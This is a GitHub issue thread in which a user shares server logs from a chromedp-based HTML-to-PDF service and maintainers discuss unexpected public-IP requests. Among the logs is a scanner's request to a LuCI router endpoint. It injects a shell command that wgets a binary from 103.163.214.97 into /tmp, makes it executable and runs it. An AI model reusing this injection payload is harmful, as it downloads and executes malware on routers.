ExpiresIn: 2024-04-08 03:17:40 +0000 UTC. 1712546260 [TRACE] cleaner.go:72 CleanDaemon obtained: /private/6dc905800223549343cf8b604a70c295 [TRACE] in-memory.go:48 Removed in-memory file: index.html [TRACE] cleaner.go:78 CleanDaemon - Removed path: /private/6dc905800223549343cf8b604a70c295 [TRACE] cleaner.go:72 CleanDaemon obtained: /public/6dc905800223549343cf8b604a70c295 [TRACE] in-memory.go:48 Removed in-memory file: 6dc905800223549343cf8b604a70c295.pdf [TRACE] cleaner.go:78 CleanDaemon - Removed path: /public/6dc905800223549343cf8b604a70c295 [TRACE] queue.go:135 [PQ] Removed: /private/00ca7577e746c1f3130fca9a98501ae9 ExpiresIn: 2024-04-08 03:21:31 +0000 UTC. 1712546491 [TRACE] queue.go:135 [PQ] Removed: /public/00ca7577e746c1f3130fca9a98501ae9 ExpiresIn: 2024-04-08 03:21:31 +0000 UTC. 1712546491 [TRACE] cleaner.go:72 CleanDaemon obtained: /private/00ca7577e746c1f3130fca9a98501ae9 [TRACE] in-memory.go:48 Removed in-memory file: index.html [TRACE] cleaner.go:78 CleanDaemon - Removed path: /private/00ca7577e746c1f3130fca9a98501ae9 [TRACE] cleaner.go:72 CleanDaemon obtained: /public/00ca7577e746c1f3130fca9a98501ae9 [TRACE] in-memory.go:48 Removed in-memory file: 00ca7577e746c1f3130fca9a98501ae9.pdf [TRACE] cleaner.go:78 CleanDaemon - Removed path: /public/00ca7577e746c1f3130fca9a98501ae9 [CHI] logger.go:150 "CONNECT http://google.com:443google.com:443 HTTP/1.1" from 86.104.10.107:53462 - 404 18B in 43.75µs [CHI] logger.go:150 "GET http://10.10.50.128:8080/health HTTP/1.1" from 10.10.6.153:39598 - 200 0B in 39.651µs [TRACE] v1_generate_html.go:26 Generate Path from HTML V1 [TRACE] store.go:62 Create HTML file at: /private/d2126a4ebfc08f72feab87411418d990/index.html [TRACE] in-memory.go:25 [IN-MEMORY] /private/d2126a4ebfc08f72feab87411418d990/index.html [TRACE] store.go:67 Open file: /private/d2126a4ebfc08f72feab87411418d990/index.html for writing [TRACE] cleaner.go:56 Added: /private/d2126a4ebfc08f72feab87411418d990 ExpiresIn: 2024-04-08 03:43:31 +0000 UTC [TRACE] v1_generate_html.go:56 Generate Path: http://localhost:8081/d2126a4ebfc08f72feab87411418d990/index.html [TRACE] pdfs.go:87 Task - navigate: http://localhost:8081/d2126a4ebfc08f72feab87411418d990/index.html [CHI] logger.go:150 "GET http://localhost:8081/d2126a4ebfc08f72feab87411418d990/index.html HTTP/1.1" from 127.0.0.1:48746 - 301 0B in 11.211µs [CHI] logger.go:150 "GET http://localhost:8081/d2126a4ebfc08f72feab87411418d990/ HTTP/1.1" from 127.0.0.1:48746 - 200 17302B in 132.642µs [TRACE] pdfs.go:71 Task: PrintToPDF: &{Landscape:false DisplayHeaderFooter:false PrintBackground:true Scale:0 PaperWidth:6.811 PaperHeight:9.312999999999999 MarginTop:0.03937007874015748 MarginBottom:0.03937007874015748 MarginLeft:0.03937007874015748 MarginRight:0.03937007874015748 PageRanges: IgnoreInvalidPageRanges:false HeaderTemplate: FooterTemplate: PreferCSSPageSize:false TransferMode:} [DEBUG] generate-pdf.go:34 Generate PDF (chromedp) taken 366.464829ms [TRACE] in-memory.go:25 [IN-MEMORY] /public/d2126a4ebfc08f72feab87411418d990/d2126a4ebfc08f72feab87411418d990.pdf [TRACE] cleaner.go:56 Added: /public/d2126a4ebfc08f72feab87411418d990 ExpiresIn: 2024-04-08 03:43:31 +0000 UTC [DEBUG] generate-pdf.go:26 GeneratePDF chromedp + in-memory file server taken: 366.602401ms [CHI] logger.go:150 "POST http://10.10.50.128:8080/beta/pdf HTTP/1.1" from 10.10.6.153:39598 - 201 108781B in 367.802916ms [TRACE] queue.go:135 [PQ] Removed: /private/d2126a4ebfc08f72feab87411418d990 ExpiresIn: 2024-04-08 03:43:31 +0000 UTC. 1712547811 [TRACE] queue.go:135 [PQ] Removed: /public/d2126a4ebfc08f72feab87411418d990 ExpiresIn: 2024-04-08 03:43:31 +0000 UTC. 1712547811 [TRACE] cleaner.go:72 CleanDaemon obtained: /private/d2126a4ebfc08f72feab87411418d990 [TRACE] in-memory.go:48 Removed in-memory file: index.html [TRACE] cleaner.go:78 CleanDaemon - Removed path: /private/d2126a4ebfc08f72feab87411418d990 [TRACE] cleaner.go:72 CleanDaemon obtained: /public/d2126a4ebfc08f72feab87411418d990 [TRACE] in-memory.go:48 Removed in-memory file: d2126a4ebfc08f72feab87411418d990.pdf [TRACE] cleaner.go:78 CleanDaemon - Removed path: /public/d2126a4ebfc08f72feab87411418d990 [CHI] logger.go:150 "GET http://10.10.50.128:8080/health HTTP/1.1" from 10.10.6.153:37170 - 200 0B in 50.11µs [TRACE] v1_generate_html.go:26 Generate Path from HTML V1 [TRACE] store.go:62 Create HTML file at: /private/96921aaceda618cdcc472c6182d52156/index.html [TRACE] in-memory.go:25 [IN-MEMORY] /private/96921aaceda618cdcc472c6182d52156/index.html [TRACE] store.go:67 Open file: /private/96921aaceda618cdcc472c6182d52156/index.html for writing [TRACE] cleaner.go:56 Added: /private/96921aaceda618cdcc472c6182d52156 ExpiresIn: 2024-04-08 04:19:50 +0000 UTC [TRACE] v1_generate_html.go:56 Generate Path: http://localhost:8081/96921aaceda618cdcc472c6182d52156/index.html [TRACE] pdfs.go:87 Task - navigate: http://localhost:8081/96921aaceda618cdcc472c6182d52156/index.html [CHI] logger.go:150 "GET http://localhost:8081/96921aaceda618cdcc472c6182d52156/index.html HTTP/1.1" from 127.0.0.1:46400 - 301 0B in 11.46µs [CHI] logger.go:150 "GET http://localhost:8081/96921aaceda618cdcc472c6182d52156/ HTTP/1.1" from 127.0.0.1:46400 - 200 82690B in 154.012µs [TRACE] pdfs.go:71 Task: PrintToPDF: &{Landscape:false DisplayHeaderFooter:false PrintBackground:true Scale:0 PaperWidth:6.811 PaperHeight:9.312999999999999 MarginTop:0.03937007874015748 MarginBottom:0.03937007874015748 MarginLeft:0.03937007874015748 MarginRight:0.03937007874015748 PageRanges: IgnoreInvalidPageRanges:false HeaderTemplate: FooterTemplate: PreferCSSPageSize:false TransferMode:} [DEBUG] generate-pdf.go:34 Generate PDF (chromedp) taken 473.93778ms [TRACE] in-memory.go:25 [IN-MEMORY] /public/96921aaceda618cdcc472c6182d52156/96921aaceda618cdcc472c6182d52156.pdf [TRACE] cleaner.go:56 Added: /public/96921aaceda618cdcc472c6182d52156 ExpiresIn: 2024-04-08 04:19:50 +0000 UTC [DEBUG] generate-pdf.go:26 GeneratePDF chromedp + in-memory file server taken: 474.069712ms [CHI] logger.go:150 "POST http://10.10.50.128:8080/beta/pdf HTTP/1.1" from 10.10.6.153:37170 - 201 89695B in 476.494651ms [CHI] logger.go:150 "GET http://10.10.50.128:8080/health HTTP/1.1" from 10.10.15.109:37372 - 200 0B in 39.981µs [TRACE] v1_generate_html.go:26 Generate Path from HTML V1 [TRACE] store.go:62 Create HTML file at: /private/ef9cd3ed971aae7752adb56009c0caf2/index.html [TRACE] in-memory.go:25 [IN-MEMORY] /private/ef9cd3ed971aae7752adb56009c0caf2/index.html [TRACE] store.go:67 Open file: /private/ef9cd3ed971aae7752adb56009c0caf2/index.html for writing [TRACE] cleaner.go:56 Added: /private/ef9cd3ed971aae7752adb56009c0caf2 ExpiresIn: 2024-04-08 04:26:03 +0000 UTC [TRACE] v1_generate_html.go:56 Generate Path: http://localhost:8081/ef9cd3ed971aae7752adb56009c0caf2/index.html [TRACE] pdfs.go:87 Task - navigate: http://localhost:8081/ef9cd3ed971aae7752adb56009c0caf2/index.html [CHI] logger.go:150 "GET http://localhost:8081/ef9cd3ed971aae7752adb56009c0caf2/index.html HTTP/1.1" from 127.0.0.1:39008 - 301 0B in 12.031µs [CHI] logger.go:150 "GET http://localhost:8081/ef9cd3ed971aae7752adb56009c0caf2/ HTTP/1.1" from 127.0.0.1:39008 - 200 82752B in 193.552µs [TRACE] pdfs.go:71 Task: PrintToPDF: &{Landscape:false DisplayHeaderFooter:false PrintBackground:true Scale:0 PaperWidth:6.811 PaperHeight:9.312999999999999 MarginTop:0.03937007874015748 MarginBottom:0.03937007874015748 MarginLeft:0.03937007874015748 MarginRight:0.03937007874015748 PageRanges: IgnoreInvalidPageRanges:false HeaderTemplate: FooterTemplate: PreferCSSPageSize:false TransferMode:} [DEBUG] generate-pdf.go:34 Generate PDF (chromedp) taken 524.157576ms [TRACE] in-memory.go:25 [IN-MEMORY] /public/ef9cd3ed971aae7752adb56009c0caf2/ef9cd3ed971aae7752adb56009c0caf2.pdf [TRACE] cleaner.go:56 Added: /public/ef9cd3ed971aae7752adb56009c0caf2 ExpiresIn: 2024-04-08 04:26:03 +0000 UTC [DEBUG] generate-pdf.go:26 GeneratePDF chromedp + in-memory file server taken: 524.293158ms [CHI] logger.go:150 "POST http://10.10.50.128:8080/beta/pdf HTTP/1.1" from 10.10.15.109:37372 - 201 90386B in 527.197054ms [TRACE] queue.go:135 [PQ] Removed: /private/96921aaceda618cdcc472c6182d52156 ExpiresIn: 2024-04-08 04:19:50 +0000 UTC. 1712549990 [TRACE] queue.go:135 [PQ] Removed: /public/96921aaceda618cdcc472c6182d52156 ExpiresIn: 2024-04-08 04:19:50 +0000 UTC. 1712549990 [TRACE] cleaner.go:72 CleanDaemon obtained: /private/96921aaceda618cdcc472c6182d52156 [TRACE] in-memory.go:48 Removed in-memory file: index.html [TRACE] cleaner.go:78 CleanDaemon - Removed path: /private/96921aaceda618cdcc472c6182d52156 [TRACE] cleaner.go:72 CleanDaemon obtained: /public/96921aaceda618cdcc472c6182d52156 [TRACE] in-memory.go:48 Removed in-memory file: 96921aaceda618cdcc472c6182d52156.pdf [TRACE] cleaner.go:78 CleanDaemon - Removed path: /public/96921aaceda618cdcc472c6182d52156 [CHI] logger.go:150 "GET http://50.19.70.245:8080/ HTTP/1.1" from 216.218.206.77:5035 - 404 18B in 43.511µs [TRACE] queue.go:135 [PQ] Removed: /private/ef9cd3ed971aae7752adb56009c0caf2 ExpiresIn: 2024-04-08 04:26:03 +0000 UTC. 1712550363 [TRACE] queue.go:135 [PQ] Removed: /public/ef9cd3ed971aae7752adb56009c0caf2 ExpiresIn: 2024-04-08 04:26:03 +0000 UTC. 1712550363 [TRACE] cleaner.go:72 CleanDaemon obtained: /private/ef9cd3ed971aae7752adb56009c0caf2 [TRACE] in-memory.go:48 Removed in-memory file: index.html [TRACE] cleaner.go:78 CleanDaemon - Removed path: /private/ef9cd3ed971aae7752adb56009c0caf2 [TRACE] cleaner.go:72 CleanDaemon obtained: /public/ef9cd3ed971aae7752adb56009c0caf2 [TRACE] in-memory.go:48 Removed in-memory file: ef9cd3ed971aae7752adb56009c0caf2.pdf [TRACE] cleaner.go:78 CleanDaemon - Removed path: /public/ef9cd3ed971aae7752adb56009c0caf2 [CHI] logger.go:150 "GET http://50.19.70.245:8080/favicon.ico HTTP/1.1" from 216.218.206.85:50591 - 404 18B in 46.691µs [CHI] logger.go:150 "GET http://api.ipify.orghttp://api.ipify.org/?format=json HTTP/1.1" from 216.218.206.73:24657 - 404 18B in 44.201µs [CHI] logger.go:150 "CONNECT http://www.shadowserver.org:443www.shadowserver.org:443 HTTP/1.1" from 216.218.206.89:28143 - 404 18B in 39.74µs [CHI] logger.go:150 "GET http://50.19.70.245:8080/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(cd+%2Ftmp%3B+rm+-rf+shk%3B+wget+http%3A%2F%2F103.163.214.97%2Fshk%3B+chmod+777+shk%3B+.%2Fshk+tplink%3B+rm+-rf+shk) HTTP/1.1" from 185.224.128.34:50390 - 404 18B in 13.75µs [CHI] logger.go:150 "GET http://10.10.50.128:8080/health HTTP/1.1" from 10.10.37.93:57740 - 200 0B in 47.74µs [TRACE] v1_generate_html.go:26 Generate Path from HTML V1 [TRACE] store.go:62 Create HTML file at: /private/220f56dbd3599a18c8afce9b5784c1ed/index.html [TRACE] in-memory.go:25 [IN-MEMORY] /private/220f56dbd3599a18c8afce9b5784c1ed/index.html [TRACE] store.go:67 Open file: /private/220f56dbd3599a18c8afce9b5784c1ed/index.html for writing [TRACE] cleaner.go:56 Added: /private/220f56dbd3599a18c8afce9b5784c1ed ExpiresIn: 2024-04-08 07:33:41 +0000 UTC [TRACE] v1_generate_html.go:56 Generate Path: http://localhost:8081/220f56dbd3599a18c8afce9b5784c1ed/index.html [TRACE] pdfs.go:87 Task - navigate: http://localhost:8081/220f56dbd3599a18c8afce9b5784c1ed/index.html [CHI] logger.go:150 "GET http://localhost:8081/220f56dbd3599a18c8afce9b5784c1ed/index.html HTTP/1.1" from 127.0.0.1:38142 - 301 0B in 10.131µs [CHI] logger.go:150 "GET http://localhost:8081/220f56dbd3599a18c8afce9b5784c1ed/ HTTP/1.1" from 127.0.0.1:38142 - 200 19989B in 134.442µs [TRACE] pdfs.go:71 Task: PrintToPDF: &{Landscape:false DisplayHeaderFooter:false PrintBackground:true Scale:0 PaperWidth:6.811 PaperHeight:9.312999999999999 MarginTop:0.03937007874015748 MarginBottom:0.03937007874015748 MarginLeft:0.03937007874015748 MarginRight:0.03937007874015748 PageRanges: IgnoreInvalidPageRanges:false HeaderTemplate: FooterTemplate: PreferCSSPageSize:false TransferMode:} [DEBUG] generate-pdf.go:34 Generate PDF (chromedp) taken 362.099635ms [TRACE] in-memory.go:25 [IN-MEMORY] /public/220f56dbd3599a18c8afce9b5784c1ed/220f56dbd3599a18c8afce9b5784c1ed.pdf [TRACE] cleaner.go:56 Added: /public/220f56dbd3599a18c8afce9b5784c1ed ExpiresIn: 2024-04-08 07:33:41 +0000 UTC [DEBUG] generate-pdf.go:26 GeneratePDF chromedp + in-memory file server taken: 362.267427ms [CHI] logger.go:150 "POST http://10.10.50.128:8080/beta/pdf HTTP/1.1" from 10.10.37.93:57740 - 201 115224B in 363.3292ms [CHI] logger.go:150 "GET http://10.10.50.128:8080/health HTTP/1.1" from 10.10.37.93:44196 - 200 0B in 37µs [TRACE] v1_generate_html.go:26 Generate Path from HTML V1 [TRACE] store.go:62 Create HTML file at: /private/2cd17ee9b889b199925c2af11992c04b/index.html [TRACE] in-memory.go:25 [IN-MEMORY] /private/2cd17ee9b889b199925c2af11992c04b/index.html [TRACE] store.go:67 Open file: /private/2cd17ee9b889b199925c2af11992c04b/index.html for writing [TRACE] cleaner.go:56 Added: /private/2cd17ee9b889b199925c2af11992c04b ExpiresIn: 2024-04-08 07:34:10 +0000 UTC [TRACE] v1_generate_html.go:56 Generate Path: http://localhost:8081/2cd17ee9b889b199925c2af11992c04b/index.html [TRACE] pdfs.go:87 Task - navigate: http://localhost:8081/2cd17ee9b889b199925c2af11992c04b/index.html [CHI] logger.go:150 "GET http://localhost:8081/2cd17ee9b889b199925c2af11992c04b/index.html HTTP/1.1" from 127.0.0.1:57112 - 301 0B in 10.481µs [CHI] logger.go:150 "GET http://localhost:8081/2cd17ee9b889b199925c2af11992c04b/ HTTP/1.1" from 127.0.0.1:57112 - 200 21065B in 149.042µs [TRACE] pdfs.go:71 Task: PrintToPDF: &{Landscape:false DisplayHeaderFooter:false PrintBackground:true Scale:0 PaperWidth:6.811 PaperHeight:9.312999999999999 MarginTop:0.03937007874015748 MarginBottom:0.03937007874015748 MarginLeft:0.03937007874015748 MarginRight:0.03937007874015748 PageRanges: IgnoreInvalidPageRanges:false HeaderTemplate: FooterTemplate: PreferCSSPageSize:false TransferMode:} [DEBUG] generate-pdf.go:34 Generate PDF (chromedp) taken 327.998372ms [TRACE] in-memory.go:25 [IN-MEMORY] /public/2cd17ee9b889b199925c2af11992c04b/2cd17ee9b889b199925c2af11992c04b.pdf [TRACE] cleaner.go:56 Added: /public/2cd17ee9b889b199925c2af11992c04b ExpiresIn: 2024-04-08 07:34:10 +0000 UTC [DEBUG] generate-pdf.go:26 GeneratePDF chromedp + in-memory file server taken: 328.175524ms [CHI] logger.go:150 "POST http://10.10.50.128:8080/beta/pdf HTTP/1.1" from 10.10.37.93:44196 - 201 116309B in 329.069535ms [TRACE] queue.go:135 [PQ] Removed: /private/220f56dbd3599a18c8afce9b5784c1ed ExpiresIn: 2024-04-08 07:33:41 +0000 UTC. 1712561621 [TRACE] queue.go:135 [PQ] Removed: /public/220f56dbd3599a18c8afce9b5784c1ed ExpiresIn: 2024-04-08 07:33:41 +0000 UTC. 1712561621 [TRACE] cleaner.go:72 CleanDaemon obtained: /private/220f56dbd3599a18c8afce9b5784c1ed [TRACE] in-memory.go:48 Removed in-memory file: index.html [TRACE] cleaner.go:78 CleanDaemon - Removed path: /private/220f56dbd3599a18c8afce9b5784c1ed [TRACE] cleaner.go:72 CleanDaemon obtained: /public/220f56dbd3599a18c8afce9b5784c1ed [TRACE] in-memory.go:48 Removed in-memory file: 220f56dbd3599a18c8afce9b5784c1ed.pdf [TRACE] cleaner.go:78 CleanDaemon - Removed path: /public/220f56dbd3599a18c8afce9b5784c1ed [TRACE] queue.go:135 [PQ] Removed: /private/2cd17ee9b889b199925c2af11992c04b ExpiresIn: 2024-04-08 07:34:10 +0000 UTC. 1712561650 [TRACE] queue.go:135 [PQ] Removed: /public/2cd17ee9b889b199925c2af11992c04b ExpiresIn: 2024-04-08 07:34:10 +0000 UTC. 1712561650 [TRACE] cleaner.go:72 CleanDaemon obtained: /private/2cd17ee9b889b199925c2af11992c04b [TRACE] in-memory.go:48 Removed in-memory file: index.html [TRACE] cleaner.go:78 CleanDaemon - Removed path: /private/2cd17ee9b889b199925c2af11992c04b [TRACE] cleaner.go:72 CleanDaemon obtained: /public/2cd17ee9b889b199925c2af11992c04b [TRACE] in-memory.go:48 Removed in-memory file: 2cd17ee9b889b199925c2af11992c04b.pdf [TRACE] cleaner.go:78 CleanDaemon - Removed path: /public/2cd17ee9b889b199925c2af11992c04b

Didn't see any errors message here.

@HanumanthaRAON
Copy link

I am not rally sure why all of sudden it is trying call public ip instead of internal private IP to convert to pdf

@sampila
Copy link
Collaborator

sampila commented Apr 8, 2024

I am not rally sure why all of sudden it is trying call public ip instead of internal private IP to convert to pdf

Can be related to your server infrastructure, from where you call the services.

@sampila
Copy link
Collaborator

sampila commented Apr 8, 2024

I saw some incorrect formatted url also there on your logs like

[CHI] logger.go:150 "CONNECT http://google.com:443google.com:443 HTTP/1.1" from 24.144.90.236:59010 - 404 18B in 36.57µs

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants